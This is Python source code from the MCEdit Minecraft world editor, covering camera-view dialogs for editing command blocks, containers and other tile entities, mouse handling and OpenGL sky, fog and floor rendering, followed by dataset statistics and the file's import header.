@mceutils.alertException def editCommandBlock(self, point): panel = Dialog() tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.defsIds.mcedit_defs.get("Control", "Control")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["Command"] = pymclevel.TAG_String() tileEntity["CustomName"] = pymclevel.TAG_String("@") tileEntity["TrackOutput"] = pymclevel.TAG_Byte(0) tileEntity["SuccessCount"] = pymclevel.TAG_Int(0) self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Command Block") commandField = TextFieldWrapped(width=650) nameField = TextFieldWrapped(width=200) successField = IntInputRow("SuccessCount", min=0, max=15) trackOutput = CheckBox() # Fix for the '§ is ħ' issue # try: # commandField.value = tileEntity["Command"].value.decode("unicode-escape") # except: # commandField.value = tileEntity["Command"].value commandField.value = tileEntity["Command"].value oldCommand = commandField.value trackOutput.value = tileEntity.get("TrackOutput", pymclevel.TAG_Byte(0)).value oldTrackOutput = trackOutput.value nameField.value = tileEntity.get("CustomName", pymclevel.TAG_String("@")).value oldNameField = nameField.value successField.subwidgets[1].value = tileEntity.get("SuccessCount", pymclevel.TAG_Int(0)).value oldSuccess = successField.subwidgets[1].value class CommandBlockEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateCommandBlock(): if oldCommand != commandField.value or oldTrackOutput != trackOutput.value or oldNameField != nameField.value or oldSuccess != successField.subwidgets[1].value: tileEntity["Command"] = pymclevel.TAG_String(commandField.value) tileEntity["TrackOutput"] = pymclevel.TAG_Byte(trackOutput.value) tileEntity["CustomName"] = pymclevel.TAG_String(nameField.value) tileEntity["SuccessCount"] = pymclevel.TAG_Int(successField.subwidgets[1].value) op = CommandBlockEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBTN = Button("OK", action=updateCommandBlock) cancel = Button("Cancel", action=panel.dismiss) column = [titleLabel, Label("Command:"), commandField, Row((Label("Custom Name:"), nameField)), successField, Row((Label("Track Output"), trackOutput)), okBTN, cancel] panel.add(Column(column)) panel.shrink_wrap() panel.present() return @mceutils.alertException def editContainer(self, point, containerID): tileEntityTag = self.editor.level.tileEntityAt(*point) if tileEntityTag is None: tileEntityTag = pymclevel.TileEntity.Create(containerID) pymclevel.TileEntity.setpos(tileEntityTag, point) self.editor.level.addTileEntity(tileEntityTag) if tileEntityTag["id"].value != containerID: return undoBackupEntityTag = copy.deepcopy(tileEntityTag) def itemProp(key): # xxx do validation here def getter(self): if 0 == len(tileEntityTag["Items"]): return 0 return tileEntityTag["Items"][self.selectedItemIndex][key].value def setter(self, val): if 0 == len(tileEntityTag["Items"]): return self.dirty = True tileEntityTag["Items"][self.selectedItemIndex][key].value = val return property(getter, setter) class ChestWidget(Widget): dirty = False Slot = itemProp("Slot") id = itemProp("id") Damage = itemProp("Damage") Count = itemProp("Count") itemLimit = pymclevel.TileEntity.maxItems.get(containerID, 26) def slotFormat(slot): slotNames = pymclevel.TileEntity.slotNames.get(containerID) if slotNames: return slotNames.get(slot, slot) return slot chestWidget = ChestWidget() chestItemTable = TableView(columns=[ TableColumn("Slot", 60, "l", fmt=slotFormat), TableColumn("ID / ID Name", 345, "l"), TableColumn("DMG", 50, "l"), TableColumn("Count", 65, "l"), TableColumn("Name", 260, "l"), ]) def itemName(id, damage): try: return pymclevel.items.items.findItem(id, damage).name except pymclevel.items.ItemNotFound: return "Unknown Item" def getRowData(i): item = tileEntityTag["Items"][i] slot, id, damage, count = item["Slot"].value, item["id"].value, item["Damage"].value, item["Count"].value return slot, id, damage, count, itemName(id, damage) chestWidget.selectedItemIndex = 0 def selectTableRow(i, evt): chestWidget.selectedItemIndex = i # Disabling the item selector for now, since we need PE items resources. # if evt.num_clicks > 1: # selectButtonAction() def changeValue(data): s, i, c, d = data s = int(s) chestWidget.Slot = s chestWidget.id = i chestWidget.Count = int(c) chestWidget.Damage = int(d) chestItemTable.num_rows = lambda: len(tileEntityTag["Items"]) chestItemTable.row_data = getRowData chestItemTable.row_is_selected = lambda x: x == chestWidget.selectedItemIndex chestItemTable.click_row = selectTableRow chestItemTable.change_value = changeValue def selectButtonAction(): SlotEditor(chestItemTable, (chestWidget.Slot, chestWidget.id or u"", chestWidget.Count, chestWidget.Damage) ).present() maxSlot = pymclevel.TileEntity.maxItems.get(tileEntityTag["id"].value, 27) - 1 fieldRow = ( IntInputRow("Slot: ", ref=AttrRef(chestWidget, 'Slot'), min=0, max=maxSlot), BasicTextInputRow("ID / ID Name: ", ref=AttrRef(chestWidget, 'id'), width=300), # Text to allow the input of internal item names IntInputRow("DMG: ", ref=AttrRef(chestWidget, 'Damage'), min=0, max=32767), IntInputRow("Count: ", ref=AttrRef(chestWidget, 'Count'), min=-1, max=64), # This button is inactive for now, because we need to work with different IDs types: # * The 'human' IDs: Stone, Glass, Swords... # * The MC ones: minecraft:stone, minecraft:air... # * The PE ones: 0:0, 1:0... # Button("Select", action=selectButtonAction) ) def deleteFromWorld(): i = chestWidget.selectedItemIndex item = tileEntityTag["Items"][i] id = item["id"].value Damage = item["Damage"].value deleteSameDamage = CheckBoxLabel("Only delete items with the same damage value") deleteBlocksToo = CheckBoxLabel("Also delete blocks placed in the world") if id not in (8, 9, 10, 11): # fluid blocks deleteBlocksToo.value = True w = wrapped_label( "WARNING: You are about to modify the entire world. This cannot be undone. Really delete all copies of this item from all land, chests, furnaces, dispensers, dropped items, item-containing tiles, and player inventories in this world?", 60) col = (w, deleteSameDamage) if id < 256: col += (deleteBlocksToo,) d = Dialog(Column(col), ["OK", "Cancel"]) if d.present() == "OK": def deleteItemsIter(): i = 0 if deleteSameDamage.value: def matches(t): return t["id"].value == id and t["Damage"].value == Damage else: def matches(t): return t["id"].value == id def matches_itementity(e): if e["id"].value != "Item": return False if "Item" not in e: return False t = e["Item"] return matches(t) for player in self.editor.level.players: tag = self.editor.level.getPlayerTag(player) tag["Inventory"].value = [t for t in tag["Inventory"].value if not matches(t)] for chunk in self.editor.level.getChunks(): if id < 256 and deleteBlocksToo.value: matchingBlocks = chunk.Blocks == id if deleteSameDamage.value: matchingBlocks &= chunk.Data == Damage if any(matchingBlocks): chunk.Blocks[matchingBlocks] = 0 chunk.Data[matchingBlocks] = 0 chunk.chunkChanged() self.editor.invalidateChunks([chunk.chunkPosition]) for te in chunk.TileEntities: if "Items" in te: l = len(te["Items"]) te["Items"].value = [t for t in te["Items"].value if not matches(t)] if l != len(te["Items"]): chunk.dirty = True entities = [e for e in chunk.Entities if matches_itementity(e)] if len(entities) != len(chunk.Entities): chunk.Entities.value = entities chunk.dirty = True yield (i, self.editor.level.chunkCount) i += 1 progressInfo = _("Deleting the item {0} from the entire world ({1} chunks)").format( itemName(chestWidget.id, 0), self.editor.level.chunkCount) showProgress(progressInfo, deleteItemsIter(), cancel=True) self.editor.addUnsavedEdit() chestWidget.selectedItemIndex = min(chestWidget.selectedItemIndex, len(tileEntityTag["Items"]) - 1) def deleteItem(): i = chestWidget.selectedItemIndex item = tileEntityTag["Items"][i] tileEntityTag["Items"].value = [t for t in tileEntityTag["Items"].value if t is not item] chestWidget.selectedItemIndex = min(chestWidget.selectedItemIndex, len(tileEntityTag["Items"]) - 1) def deleteEnable(): return len(tileEntityTag["Items"]) and chestWidget.selectedItemIndex != -1 def addEnable(): return len(tileEntityTag["Items"]) < chestWidget.itemLimit def addItem(): slot = 0 for item in tileEntityTag["Items"]: if slot == item["Slot"].value: slot += 1 if slot >= chestWidget.itemLimit: return item = pymclevel.TAG_Compound() item["id"] = pymclevel.TAG_String("minecraft:") item["Damage"] = pymclevel.TAG_Short(0) item["Slot"] = pymclevel.TAG_Byte(slot) item["Count"] = pymclevel.TAG_Byte(1) tileEntityTag["Items"].append(item) addItemButton = Button("New Item (1.7+)", action=addItem, enable=addEnable) deleteItemButton = Button("Delete This Item", action=deleteItem, enable=deleteEnable) deleteFromWorldButton = Button("Delete All Instances Of This Item From World", action=deleteFromWorld, enable=deleteEnable) deleteCol = Column((addItemButton, deleteItemButton, deleteFromWorldButton)) fieldRow = Row(fieldRow) col = Column((chestItemTable, fieldRow, deleteCol)) chestWidget.add(col) chestWidget.shrink_wrap() Dialog(client=chestWidget, responses=["Done"]).present() level = self.editor.level class ChestEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return level.addTileEntity(tileEntityTag) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntityTag) level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntityTag), (1, 1, 1)) def redo(self): level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntityTag), (1, 1, 1)) if chestWidget.dirty: op = ChestEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() @mceutils.alertException def editFlowerPot(self, point): panel = Dialog() tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.mcedit_defs.get("FlowerPot", "FlowerPot")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["Item"] = pymclevel.TAG_String("") tileEntity["Data"] = pymclevel.TAG_Int(0) self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Flower Pot") Item = TextFieldWrapped(width=300, text=tileEntity["Item"].value) oldItem = Item.value Data = IntField(width=300,text=str(tileEntity["Data"].value)) oldData = Data.value class FlowerPotEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateFlowerPot(): if oldData != Data.value or oldItem != Item.value: tileEntity["Item"] = pymclevel.TAG_String(Item.value) tileEntity["Data"] = pymclevel.TAG_Int(Data.value) op = FlowerPotEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBtn = Button("OK", action=updateFlowerPot) cancel = Button("Cancel", action=panel.dismiss) panel.add(Column((titleLabel, Row((Label("Item"), Item)), Row((Label("Data"), Data)), okBtn, cancel))) panel.shrink_wrap() panel.present() @mceutils.alertException def editEnchantmentTable(self, point): panel = Dialog() tileEntity = self.editor.level.tileEntityAt(*point) undoBackupEntityTag = copy.deepcopy(tileEntity) if not tileEntity: tileEntity = pymclevel.TAG_Compound() tileEntity["id"] = pymclevel.TAG_String(self.editor.level.defsIds.mcedit_defs.get("EnchantTable", "EnchantTable")) tileEntity["x"] = pymclevel.TAG_Int(point[0]) tileEntity["y"] = pymclevel.TAG_Int(point[1]) tileEntity["z"] = pymclevel.TAG_Int(point[2]) tileEntity["CustomName"] = pymclevel.TAG_String("") self.editor.level.addTileEntity(tileEntity) titleLabel = Label("Edit Enchantment Table") try: name = tileEntity["CustomName"].value except: name = "" name = TextFieldWrapped(width=300, text=name) oldName = name.value class EnchantmentTableEditOperation(Operation): def __init__(self, tool, level): self.tool = tool self.level = level self.undoBackupEntityTag = undoBackupEntityTag self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return self.level.addTileEntity(tileEntity) self.canUndo = True def undo(self): self.redoBackupEntityTag = copy.deepcopy(tileEntity) self.level.addTileEntity(self.undoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def redo(self): self.level.addTileEntity(self.redoBackupEntityTag) return pymclevel.BoundingBox(pymclevel.TileEntity.pos(tileEntity), (1, 1, 1)) def updateEnchantmentTable(): if oldName != name.value: tileEntity["CustomName"] = pymclevel.TAG_String(name.value) op = EnchantmentTableEditOperation(self.editor, self.editor.level) self.editor.addOperation(op) if op.canUndo: self.editor.addUnsavedEdit() chunk = self.editor.level.getChunk(int(int(point[0]) / 16), int(int(point[2]) / 16)) chunk.dirty = True panel.dismiss() okBtn = Button("OK", action=updateEnchantmentTable) cancel = Button("Cancel", action=panel.dismiss) panel.add(Column((titleLabel, Row((Label("Custom Name"), name)), okBtn, cancel))) panel.shrink_wrap() panel.present() should_lock = False def rightClickDown(self, evt): # self.rightMouseDragStart = datetime.now() self.should_lock = True self.toggleMouseLook() def rightClickUp(self, evt): if not get_top_widget().is_modal: return if not self.should_lock and self.editor.level: self.should_lock = False self.toggleMouseLook() # if self.rightMouseDragStart is None: # return # td = datetime.now() - self.rightMouseDragStart # # except AttributeError: # # return # # print "RightClickUp: ", td # if td.microseconds > 180000: # self.mouseLookOff() def leftClickDown(self, evt): self.editor.toolMouseDown(evt, self.blockFaceUnderCursor) if evt.num_clicks == 2: def distance2(p1, p2): return numpy.sum(map(lambda a, b: (a - b) ** 2, p1, p2)) point, face = self.blockFaceUnderCursor if point: point = map(lambda x: int(numpy.floor(x)), point) if self.editor.currentTool is self.editor.selectionTool: try: block = self.editor.level.blockAt(*point) materials = self.editor.level.materials if distance2(point, self.cameraPosition) > 4: blockEditors = { materials.MonsterSpawner.ID: self.editMonsterSpawner, materials.Sign.ID: self.editSign, materials.WallSign.ID: self.editSign, materials.MobHead.ID: self.editSkull, materials.CommandBlock.ID: self.editCommandBlock, materials.CommandBlockRepeating.ID: self.editCommandBlock, materials.CommandBlockChain.ID: self.editCommandBlock, pymclevel.alphaMaterials.Jukebox.ID: self.editJukebox, materials.NoteBlock.ID: self.editNoteBlock, materials.FlowerPot.ID: self.editFlowerPot, materials.EnchantmentTable.ID: self.editEnchantmentTable } edit = blockEditors.get(block) if edit: self.editor.endSelection() edit(point) else: # detect "container" tiles te = self.editor.level.tileEntityAt(*point) if te and "Items" in te and "id" in te: self.editor.endSelection() self.editContainer(point, te["id"].value) except (EnvironmentError, pymclevel.ChunkNotPresent): pass def leftClickUp(self, evt): self.editor.toolMouseUp(evt, self.blockFaceUnderCursor) # --- Event handlers --- def mouse_down(self, evt): button = keys.remapMouseButton(evt.button) logging.debug("Mouse down %d @ %s", button, evt.pos) if button == 1: if sys.platform == "darwin" and evt.ctrl: self.rightClickDown(evt) else: self.leftClickDown(evt) elif button == 2: self.rightClickDown(evt) elif button == 3 and sys.platform == "darwin" and evt.alt: self.leftClickDown(evt) else: evt.dict['keyname'] = "mouse{}".format(button) self.editor.key_down(evt) self.editor.focus_on(None) # self.focus_switch = None def mouse_up(self, evt): button = keys.remapMouseButton(evt.button) logging.debug("Mouse up %d @ %s", button, evt.pos) if button == 1: if sys.platform == "darwin" and evt.ctrl: self.rightClickUp(evt) else: self.leftClickUp(evt) elif button == 2: self.rightClickUp(evt) elif button == 3 and sys.platform == "darwin" and evt.alt: self.leftClickUp(evt) else: evt.dict['keyname'] = "mouse{}".format(button) self.editor.key_up(evt) def mouse_drag(self, evt): self.mouse_move(evt) self.editor.mouse_drag(evt) lastRendererUpdate = datetime.now() def mouse_move(self, evt): if self.avoidMouseJumpBug == 2: self.avoidMouseJumpBug = 0 return def sensitivityAdjust(d): return d * config.controls.mouseSpeed.get() / 10.0 self.editor.mouseEntered = True if self.mouseMovesCamera: self.should_lock = False pitchAdjust = sensitivityAdjust(evt.rel[1]) if self.invertMousePitch: pitchAdjust = -pitchAdjust self.yaw += sensitivityAdjust(evt.rel[0]) self.pitch += pitchAdjust if datetime.now() - self.lastRendererUpdate > timedelta(0, 0, 500000): self.editor.renderer.loadNearbyChunks() self.lastRendererUpdate = datetime.now() # adjustLimit = 2 # self.oldMousePosition = (x, y) # if (self.startingMousePosition[0] - x > adjustLimit or self.startingMousePosition[1] - y > adjustLimit or # self.startingMousePosition[0] - x < -adjustLimit or self.startingMousePosition[1] - y < -adjustLimit): # mouse.set_pos(*self.startingMousePosition) # event.get(MOUSEMOTION) # self.oldMousePosition = (self.startingMousePosition) #if config.settings.showCommands.get(): def activeevent(self, evt): if evt.state & 0x2 and evt.gain != 0: self.avoidMouseJumpBug = 1 @property def tooltipText(self): #if self.hoveringCommandBlock[0] and (self.editor.currentTool is self.editor.selectionTool and self.editor.selectionTool.infoKey == 0): # return self.hoveringCommandBlock[1] or "[Empty]" if self.editor.currentTool is self.editor.selectionTool and self.editor.selectionTool.infoKey == 0 and config.settings.showQuickBlockInfo.get(): point, face = self.blockFaceUnderCursor if point: if not self.block_info_parsers or (BlockInfoParser.last_level != self.editor.level): self.block_info_parsers = BlockInfoParser.get_parsers(self.editor) block = self.editor.level.blockAt(*point) if block: if block in self.block_info_parsers: return self.block_info_parsers[block](point) return self.editor.currentTool.worldTooltipText floorQuad = numpy.array(((-4000.0, 0.0, -4000.0), (-4000.0, 0.0, 4000.0), (4000.0, 0.0, 4000.0), (4000.0, 0.0, -4000.0), ), dtype='float32') def updateFloorQuad(self): floorQuad = ((-4000.0, 0.0, -4000.0), (-4000.0, 0.0, 4000.0), (4000.0, 0.0, 4000.0), (4000.0, 0.0, -4000.0), ) floorQuad = numpy.array(floorQuad, dtype='float32') if self.editor.renderer.inSpace(): floorQuad *= 8.0 floorQuad += (self.cameraPosition[0], 0.0, self.cameraPosition[2]) self.floorQuad = floorQuad self.floorQuadList.invalidate() def drawFloorQuad(self): self.floorQuadList.call(self._drawFloorQuad) @staticmethod def _drawCeiling(): lines = [] minz = minx = -256 maxz = maxx = 256 append = lines.append for x in xrange(minx, maxx + 1, 16): append((x, 0, minz)) append((x, 0, maxz)) for z in xrange(minz, maxz + 1, 16): append((minx, 0, z)) append((maxx, 0, z)) GL.glColor(0.3, 0.7, 0.9) GL.glVertexPointer(3, GL.GL_FLOAT, 0, numpy.array(lines, dtype='float32')) GL.glEnable(GL.GL_DEPTH_TEST) GL.glDepthMask(False) GL.glDrawArrays(GL.GL_LINES, 0, len(lines)) GL.glDisable(GL.GL_DEPTH_TEST) GL.glDepthMask(True) def drawCeiling(self): GL.glMatrixMode(GL.GL_MODELVIEW) # GL.glPushMatrix() x, y, z = self.cameraPosition x -= x % 16 z -= z % 16 y = self.editor.level.Height GL.glTranslate(x, y, z) self.ceilingList.call(self._drawCeiling) GL.glTranslate(-x, -y, -z) _floorQuadList = None @property def floorQuadList(self): if not self._floorQuadList: self._floorQuadList = glutils.DisplayList() return self._floorQuadList _ceilingList = None @property def ceilingList(self): if not self._ceilingList: self._ceilingList = glutils.DisplayList() return self._ceilingList @property def floorColor(self): if self.drawSky: return 0.0, 0.0, 1.0, 0.3 else: return 0.0, 1.0, 0.0, 0.15 # floorColor = (0.0, 0.0, 1.0, 0.1) def _drawFloorQuad(self): GL.glDepthMask(True) GL.glPolygonOffset(DepthOffset.ChunkMarkers + 2, DepthOffset.ChunkMarkers + 2) GL.glVertexPointer(3, GL.GL_FLOAT, 0, self.floorQuad) GL.glColor(*self.floorColor) with gl.glEnable(GL.GL_BLEND, GL.GL_DEPTH_TEST, GL.GL_POLYGON_OFFSET_FILL): GL.glDrawArrays(GL.GL_QUADS, 0, 4) @property def drawSky(self): return self._drawSky @drawSky.setter def drawSky(self, val): self._drawSky = val if self.skyList: self.skyList.invalidate() if self._floorQuadList: self._floorQuadList.invalidate() skyList = None def drawSkyBackground(self): if self.skyList is None: self.skyList = glutils.DisplayList() self.skyList.call(self._drawSkyBackground) def _drawSkyBackground(self): GL.glMatrixMode(GL.GL_MODELVIEW) GL.glPushMatrix() GL.glLoadIdentity() GL.glMatrixMode(GL.GL_PROJECTION) GL.glPushMatrix() GL.glLoadIdentity() GL.glEnableClientState(GL.GL_COLOR_ARRAY) quad = numpy.array([-1, -1, -1, 1, 1, 1, 1, -1], dtype='float32') if self.editor.level.dimNo == -1: colors = numpy.array([0x90, 0x00, 0x00, 0xff, 0x90, 0x00, 0x00, 0xff, 0x90, 0x00, 0x00, 0xff, 0x90, 0x00, 0x00, 0xff, ], dtype='uint8') elif self.editor.level.dimNo == 1: colors = numpy.array([0x22, 0x27, 0x28, 0xff, 0x22, 0x27, 0x28, 0xff, 0x22, 0x27, 0x28, 0xff, 0x22, 0x27, 0x28, 0xff, ], dtype='uint8') else: colors = numpy.array([0x48, 0x49, 0xBA, 0xff, 0x8a, 0xaf, 0xff, 0xff, 0x8a, 0xaf, 0xff, 0xff, 0x48, 0x49, 0xBA, 0xff, ], dtype='uint8') alpha = 1.0 if alpha > 0.0: if alpha < 1.0: GL.glEnable(GL.GL_BLEND) GL.glVertexPointer(2, GL.GL_FLOAT, 0, quad) GL.glColorPointer(4, GL.GL_UNSIGNED_BYTE, 0, colors) GL.glDrawArrays(GL.GL_QUADS, 0, 4) if alpha < 1.0: GL.glDisable(GL.GL_BLEND) GL.glDisableClientState(GL.GL_COLOR_ARRAY) GL.glMatrixMode(GL.GL_PROJECTION) GL.glPopMatrix() GL.glMatrixMode(GL.GL_MODELVIEW) GL.glPopMatrix() enableMouseLag = config.settings.enableMouseLag.property() @property def drawFog(self): return self._drawFog and not self.editor.renderer.inSpace() @drawFog.setter def drawFog(self, val): self._drawFog = val fogColor = numpy.array([0.6, 0.8, 1.0, 1.0], dtype='float32') fogColorBlack = numpy.array([0.0, 0.0, 0.0, 1.0], dtype='float32') def enableFog(self): GL.glEnable(GL.GL_FOG) if self.drawSky: GL.glFogfv(GL.GL_FOG_COLOR, self.fogColor) else: GL.glFogfv(GL.GL_FOG_COLOR, self.fogColorBlack) GL.glFogf(GL.GL_FOG_DENSITY, 0.0001 * config.settings.fogIntensity.get()) @staticmethod def disableFog(): GL.glDisable(GL.GL_FOG) def getCameraPoint(self): distance = self.editor.currentTool.cameraDistance return [i for i in itertools.imap(lambda p, d: int(numpy.floor(p + d * distance)), self.cameraPosition, self.cameraVector)] blockFaceUnderCursor = (0, 0, 0), (0, 0, 0) viewingFrustum = None def setup_projection(self): distance = 1.0 if self.editor.renderer.inSpace(): distance = 8.0 GLU.gluPerspective(max(self.fov, 25.0), self.ratio, self.near * distance, self.far * distance) def setup_modelview(self): self.setModelview() def gl_draw(self): self.tickCamera(self.editor.frameStartTime, self.editor.cameraInputs, self.editor.renderer.inSpace()) self.render() def render(self): self.viewingFrustum = frustum.Frustum.fromViewingMatrix() if self.superSecretSettings: self.editor.drawStars() if self.drawSky: self.drawSkyBackground() if self.drawFog: self.enableFog() self.drawFloorQuad() self.editor.renderer.viewingFrustum = self.viewingFrustum self.editor.renderer.draw() if self.showCeiling and not self.editor.renderer.inSpace(): self.drawCeiling() if self.editor.level: try: self.updateBlockFaceUnderCursor() except (EnvironmentError, pymclevel.ChunkNotPresent) as e: logging.debug("Updating cursor block: %s", e) self.blockFaceUnderCursor = (None, None) self.root.update_tooltip() (blockPosition, faceDirection) = self.blockFaceUnderCursor if blockPosition: self.editor.updateInspectionString(blockPosition) if self.find_widget(mouse.get_pos()) == self: ct = self.editor.currentTool if ct: ct.drawTerrainReticle() ct.drawToolReticle() else: self.editor.drawWireCubeReticle() for t in self.editor.toolbar.tools: t.drawTerrainMarkers() t.drawToolMarkers() if self.drawFog: self.disableFog() if self.compassToggle: if self._compass is None: self._compass = CompassOverlay() x = getattr(getattr(self.editor, 'copyPanel', None), 'width', 0) if x: x = x /float( self.editor.mainViewport.width) self._compass.x = x self._compass.yawPitch = self.yaw, 0 with gl.glPushMatrix(GL.GL_PROJECTION): GL.glLoadIdentity() GL.glOrtho(0., 1., float(self.height) / self.width, 0, -200, 200) self._compass.draw() else: self._compass = None _compass = None class BlockInfoParser(object): last_level = None nbt_ending = "\n\nPress ALT for NBT" edit_ending = ", Double-Click to Edit" @classmethod def get_parsers(cls, editor): cls.last_level = editor.level parser_map = {} for subcls in cls.__subclasses__(): instance = subcls(editor.level) try: blocks = instance.getBlocks() except KeyError: continue if isinstance(blocks, (str, int)): parser_map[blocks] = instance.parse_info elif isinstance(blocks, (list, tuple)): for block in blocks: parser_map[block] = instance.parse_info return parser_map def getBlocks(self): raise NotImplementedError() def parse_info(self, pos): raise NotImplementedError() class SpawnerInfoParser(BlockInfoParser): def __init__(self, level): self.level = level def getBlocks(self): return self.level.materials["minecraft:mob_spawner"].ID def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: spawn_data = tile_entity.get("SpawnData", {}) if spawn_data: id = spawn_data.get('EntityId', None) if not id: id = spawn_data.get('id', None) if not id: value = repr(NameError("Malformed spawn data: could not find 'EntityId' or 'id' tag.")) else: value = id.value return "{} Spawner{}{}".format(value, self.nbt_ending, self.edit_ending) return "[Empty]{}{}".format(self.nbt_ending, self.edit_ending) class JukeboxInfoParser(BlockInfoParser): id_records = { 2256: "13", 2257: "Cat", 2258: "Blocks", 2259: "Chirp", 2260: "Far", 2261: "Mall", 2262: "Mellohi", 2263: "Stal", 2264: "Strad", 2265: "Ward", 2266: "11", 2267: "Wait" } name_records = { "minecraft:record_13": "13", "minecraft:record_cat": "Cat", "minecraft:record_blocks": "Blocks", "minecraft:record_chirp": "Chirp", "minecraft:record_far": "Far", "minecraft:record_mall": "Mall", "minecraft:record_mellohi": "Mellohi", "minecraft:record_stal": "Stal", "minecraft:record_strad": "Strad", "minecraft:record_ward": "Ward", "minecraft:record_11": "11", "minecraft:record_wait": "Wait" } def __init__(self, level): self.level = level def getBlocks(self): return self.level.materials["minecraft:jukebox"].ID def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: if "Record" in tile_entity: value = tile_entity["Record"].value if value in self.id_records: return self.id_records[value] + " Record" + self.nbt_ending + self.edit_ending elif "RecordItem" in tile_entity: value = tile_entity["RecordItem"]["id"].value if value in self.name_records: return "{} Record{}{}".format(self.name_records[value], self.nbt_ending, self.edit_ending) return "[No Record]{}{}".format(self.nbt_ending, self.edit_ending) class CommandBlockInfoParser(BlockInfoParser): def __init__(self, level): self.level = level def getBlocks(self): return [ self.level.materials["minecraft:command_block"].ID, self.level.materials["minecraft:repeating_command_block"].ID, self.level.materials["minecraft:chain_command_block"].ID ] def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: value = tile_entity.get("Command", pymclevel.TAG_String("")).value if value: if len(value) > 1500: return "{}\n**COMMAND IS TOO LONG TO SHOW MORE**{}{}".format(value[:1500], self.nbt_ending, self.edit_ending) return "{}{}{}".format(value, self.nbt_ending, self.edit_ending) return "[Empty Command Block]{}{}".format(self.nbt_ending, self.edit_ending) class ContainerInfoParser(BlockInfoParser): def __init__(self, level): self.level = level def getBlocks(self): return [ self.level.materials["minecraft:dispenser"].ID, self.level.materials["minecraft:chest"].ID, self.level.materials["minecraft:furnace"].ID, self.level.materials["minecraft:lit_furnace"].ID, self.level.materials["minecraft:trapped_chest"].ID, self.level.materials["minecraft:hopper"].ID, self.level.materials["minecraft:dropper"].ID, self.level.materials["minecraft:brewing_stand"].ID ] def parse_info(self, pos): tile_entity = self.level.tileEntityAt(*pos) if tile_entity: return "Contains {} Items {}{}".format(len(tile_entity.get("Items", [])), self.nbt_ending, self.edit_ending) return "[Empty Container]{}{}".format(self.nbt_ending, self.edit_ending) def unproject(x, y, z): try: return GLU.gluUnProject(x, y, z) except ValueError: # projection failed return 0, 0, 0
39.182461
251
0.557854
import sys from compass import CompassOverlay from raycaster import TooFarException import raycaster import keys import pygame import math import copy import numpy from config import config import frustum import logging import glutils import mceutils import itertools import pymclevel from math import isnan from datetime import datetime, timedelta from OpenGL import GL from OpenGL import GLU from albow import alert, AttrRef, Button, Column, input_text, Row, TableColumn, TableView, Widget, CheckBox, \ TextFieldWrapped, MenuButton, ChoiceButton, IntInputRow, TextInputRow, showProgress, IntField, ask from albow.controls import Label, ValueDisplay from albow.dialogs import Dialog, wrapped_label from albow.openglwidgets import GLViewport from albow.extended_widgets import BasicTextInputRow, CheckBoxLabel from albow.translate import _ from albow.root import get_top_widget from pygame import mouse from depths import DepthOffset from editortools.operation import Operation from glutils import gl from editortools.nbtexplorer import SlotEditor class SignEditOperation(Operation): def __init__(self, tool, level, tileEntity, backupTileEntity): self.tool = tool self.level = level self.tileEntity = tileEntity self.undoBackupEntityTag = backupTileEntity self.canUndo = False def perform(self, recordUndo=True): if self.level.saving: alert("Cannot perform action while saving is taking place") return 